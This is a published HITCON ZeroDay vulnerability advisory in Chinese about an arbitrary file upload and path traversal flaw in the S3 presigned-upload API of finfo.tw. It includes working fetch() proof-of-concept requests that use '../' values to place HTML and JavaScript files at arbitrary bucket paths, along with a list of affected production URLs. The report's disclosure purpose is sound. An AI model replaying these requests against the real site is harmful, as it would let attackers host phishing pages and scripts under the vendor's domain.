Finfo_歐兔科技股份有限公司 任意 Content-Type 的檔案上傳 S3 + Path Traversal(可上傳檔案到 S3 任意路徑) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00482
  •  發信 Vendor: Finfo_歐兔科技股份有限公司
  • Title: Finfo_歐兔科技股份有限公司 任意 Content-Type 的檔案上傳 S3 + Path Traversal(可上傳檔案到 S3 任意路徑)
  • Introduction: 任意 Content-Type 的檔案上傳 S3 + Path Traversal(可上傳檔案到任意路徑)

處理狀態

目前狀態

公開
Last Update : 2025/07/29
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/05/29 23:39:21 : 新提交 (由 yusheng 更新此狀態)
  • 2025/05/29 23:40:55 : 新提交 (由 yusheng 更新此狀態)
  • 2025/05/30 09:18:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:10:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:10:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 15:10:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/29 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00482
  • 通報者:cat1528985 (yusheng)
  • 風險:嚴重
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

任意 Content-Type 的檔案上傳 S3 + Path Traversal(可上傳檔案到 S3 任意路徑),以下為受影響的網址

https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/upload/posts/users/554591/9eed0504-9307-4dc8-b504-92690bf4450c.html
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/upload/posts/users/554591/9121069b-d54a-404d-819f-c6cd180505c5.svg
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/upload/posts/users/554724/7bf25bbc-ddbf-4953-889e-7e20290e2b6c.js
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/upload/assets/users/554724/b8229166-b903-4287-9501-c6f274e768c1.js
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/upload/posts/users/554754/8c7a6cef-4c9d-4a21-b64f-3cec8283d292.php
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/users/554754/2c851074-e244-4380-bfb6-94350a6928ac.png
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/assets/users/554754/6c80d4d4-29d7-4695-ad82-c778e5995a21.png
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/users/554754/t.js
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/t.js
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/users/assets/4aaff6ae-d258-485f-95ed-ca7c4706c80e.js
https://finfo-production-public.s3.ap-northeast-1.amazonaws.com/assets/5aaff6ae-d258-485f-95ed-ca7c4706c80e.js

敘述

重現漏洞方式:

  1. 免費註冊 https://finfo.tw/
  2. 到會員編輯頁圖片https://finfo.tw/user/profile/edit 可上傳頭像
  3. 可直接透過 F12 > Console 呼叫上傳 S3 的 API
    fetch("https://finfo.tw/api/aws/s3_object_presigned_urls", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "resource=posts&file_extension=html",
    "method": "POST"
    }).then(res => res.json()).then(json => fetch(json.url, {
    "headers": {
        "content-type": "text/html"
    },
    "method": "PUT",
    "body": `<script>alert(1)</script>`
    }))
  4. 其中,resource, file_extension, content-type, body 都是可控制的內容,並且 resource 跟 file_extension 含有 path traversal 漏洞,攻擊者可使用 ../ 來將任意檔案上傳到 S3 的任意路徑
    fetch("https://finfo.tw/api/aws/s3_object_presigned_urls", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "resource=../assets&file_extension=../../../../5aaff6ae-d258-485f-95ed-ca7c4706c80e.js",
    "method": "POST"
    }).then(res => res.json()).then(json => fetch(json.url, {
    "headers": {
        "content-type": "text/javascript"
    },
    "method": "PUT",
    "body": `alert(1)`
    }))

漏洞種類:
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73: External Control of File Name or Path
CWE-434: Unrestricted Upload of File with Dangerous Type

POC 影片:https://drive.google.com/file/d/10wG_ECl7kiI5Cgk1hXvvIMzRBA1prdTQ/view?usp=sharing

影響:

  1. S3 成為惡意程式碼或檔案的倉庫
  2. 主網站(https://finfo.tw/) 可以 PO 文 圖片https://finfo.tw/user/profile/edit ,並且可插入超連結,攻擊者可以構造惡意 html 讓使用者點擊 ,形成釣魚攻擊,因為是在主網站文章系統的超連結,而且 S3 的 bucket 名稱是 finfo-production ,所以使用者受騙的機率更高!

修補建議

1. 嚴格限制能上傳的檔案類型
2. resource, file_extension 參數進行 sanitize,避免 path traversal

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;